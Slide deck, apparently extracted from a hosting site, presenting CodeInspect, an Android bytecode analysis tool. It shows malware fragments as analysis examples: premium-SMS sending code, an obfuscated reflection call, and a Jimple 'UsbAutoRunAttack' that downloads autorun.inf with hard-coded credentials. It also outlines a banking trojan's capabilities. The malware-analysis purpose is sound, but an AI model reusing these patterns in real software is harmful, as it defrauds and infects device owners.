19
SOFTWARE ENGINEERING GROUP SECURE Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer

Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

  • Upload
    others

  • View
    8

  • Download
    1

Embed Size (px)

Citation preview

Page 1: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Analyzing Sophisticated Android Malware with CodeInspect

Siegfried Rasthofer

Page 2: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

#whoami

2

• 3rd year PhD-Student at Secure Software Engineering Group Darmstadt, Germany (Prof. Dr. Eric Bodden)• Research interest:

• Applied software security on Android• Static-/dynamic code analyses

• Android Security:• Found 2 AOSP exploits• Korea Threat investigation together with McAfee Research Lab Intel Security

Page 3: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 3

Malware

Page 4: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 4

public void onCreate(android.os.Bundle $param0){ sendTextMessage("3353", null, "798657", null, null); sendTextMessage("3354", null, "798657", null, null); sendTextMessage("3353", null, "798657", null, null);}

public static boolean gdadbjrj(String paramString1 , String paramString2)

{

Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af")); Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), new Class[0]).invoke(null, new Object[0]); String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c}; clz.getMethod(s, arr).invoke(localObject , new Object [] { paramString1 , null , paramString2 , null , null });

}

Page 5: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 5

public static boolean gdadbjrj(String paramString1 , String paramString2)

{

Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af")); Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), new Class[0]).invoke(null, new Object[0]); String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c}; clz.getMethod(s, arr).invoke(localObject , new Object [] { paramString1 , null , paramString2 , null , null });

}

- Reflections- Packers- Anti-Decompile- Anti-Debug- …

Page 6: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

A new Binary Analysis Framework for Android and Java Bytecode

6

Page 7: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 7

Soot

Page 8: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 8

Soot

Input/Output

.dex .java .jimple .apk.class

- Various callgraph algorithms- Sophisticated algorithms used in compiler

construction- Code manipulation

Soot

https://github.com/Sable/soot/wiki

Page 9: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 9

Soot

Jimple

Page 10: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 10

public static boolean UsbAutoRunAttack(android.content.Context $param0){ java.lang.String $String;

$String = <smart.apps.droidcleaner.Tools: java.lang.String urlServer>; ... staticinvoke <smart.apps.droidcleaner.Tools: boolean DownloadFile(java.lang.String, java.lang.String, java.lang.String, java.lang.String, android.content.Context)> ($String, "autorun.inf", "ftpupper", "thisisshit007", $param0); return true; }

Declarations

Code

Return-Statement

Jimple Soot

Page 11: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 11

Soot

Jimple

CodeInspect

Page 12: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 12

CodeInspect

Jimple Code

Readable Files

Code Refactoring

Debugger

Java SourceEnhancement

Syntax Highlighting

Code Manipulation

Dataflow Visualizer

Deobfuscator “Region“ Detection

Jimple Soot

Page 13: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Let’s get started…

13

1. Import APK

2. Start Device

Page 14: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 14

Banking Trojan

Activation Component

SMS

HTTP

E-Mail

Intercept SMS Intercept Call

Install Fake AV Uninstall AV

File SystemNative Code

User

Waiting Time

Send SMS

App Internal External EventEnvironment Settings

An Investigation of the Android/BadAccents Malware which Exploits a new Android Tapjacking AttackSiegfried Rasthofer, Irfan Asrar, Stephan Huber, Eric Bodden

Android/BadAccents

Page 15: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Live-Demo

15

https://goo.gl/LblcR5

Page 16: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Future Steps

16

• New Plugins under development

• Easily add own analyses

• What would be a useful feature for you?

Page 17: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

How do I get this tool?

17

Page 18: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE 18

Page 19: Analyzing Sophisticated Android Malware with CodeInspect · Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer. SOFTWAREENGINEERING ... A new Binary Analysis

SOFTWARE ENGINEERINGGROUP

SECURE

Siegfried Rasthofer Secure Software Engineering GroupEmail: [email protected] Blog: http://sse-blog.ec-spride.de Website: http://sse.ec-spride.deTwitter: @CodeInspect

19